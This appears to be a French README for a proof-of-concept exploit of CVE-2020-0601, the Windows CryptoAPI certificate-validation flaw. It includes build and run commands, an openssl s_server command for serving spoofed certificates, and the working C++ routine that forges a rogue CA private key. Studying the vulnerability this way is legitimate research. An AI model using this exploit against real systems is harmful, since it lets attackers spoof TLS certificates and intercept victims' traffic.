Informations de base

Le code source de cet outil est censé aider à comprendre la vulnérabilité CVE-2020-0601 découverte dans l'API Crypto de Windows, voir l'aperçu du CERT.

L'outil lui-même peut être utilisé pour produire un certificat pour un domaine arbitraire qui sera signé par une autorité de certification malveillante. Cet outil produit une CA malveillante avec la même clé publique que celle fournie en ligne de commande.

Lorsqu'un navigateur Web d'une version vulnérable de Windows cible ce certificat, il sera considéré comme fiable. Cela permet à un attaquant réseau bien positionné d'intercepter le trafic de la victime.

Synopsis

Lancez l'outil en fournissant le chemin vers un certificat Windows de confiance :

./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt

Dans l'exemple ci-dessus, une autorité de certification ECC USERTrust est utilisée avec la clé publique suivante :

04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79

L'outil sauvegardera plusieurs certificats et clés dans son répertoire de travail actuel :

test-cve_evil-ca.crt -- CA malveillante
test-cve_evil-privkey.key -- clé privée de la CA malveillante au format PEM
test-cve_evil-privkey-pk8.key -- clé privée de la CA malveillante au format PKCS#8
test-cve_host-cert.crt -- certificat de l'hôte cible (example.com par défaut)
test-cve_host-privkey.key -- clé privée de l'hôte cible (example.com par défaut)

Pour tester les certificats, lancez openssl s_server comme suit et redirigez les requêtes de https://example.com/ depuis votre machine Windows vulnérable vers celui-ci :

sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

Assurez-vous que le certificat original est mis en cache !

Le résultat devrait ressembler à ceci :

Compilation

cmake est utilisé pour générer le fichier make pour compiler cet outil. Les bibliothèques suivantes sont nécessaires comme dépendances :

• openssl (> 1.0)
• cryptopp

Compilation :

mkdir build
cd build
cmake ..
make

Description

Une description complète (relativement) sera ajoutée ultérieurement sur le site de Gremwell.

Commencez par regarder le fichier main.cpp. Il appelle divers wrappers OpenSSL qui sont importants, mais qui ne sont pas liés à la vulnérabilité elle-même. La partie la plus intéressante se trouve dans le fichier cve-2020-0601_poc.cpp :

bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}

Les commentaires ici devraient être assez explicites. :-)

Remerciements

Merci au blog de Kudelski Security et aux références qui y sont mentionnées.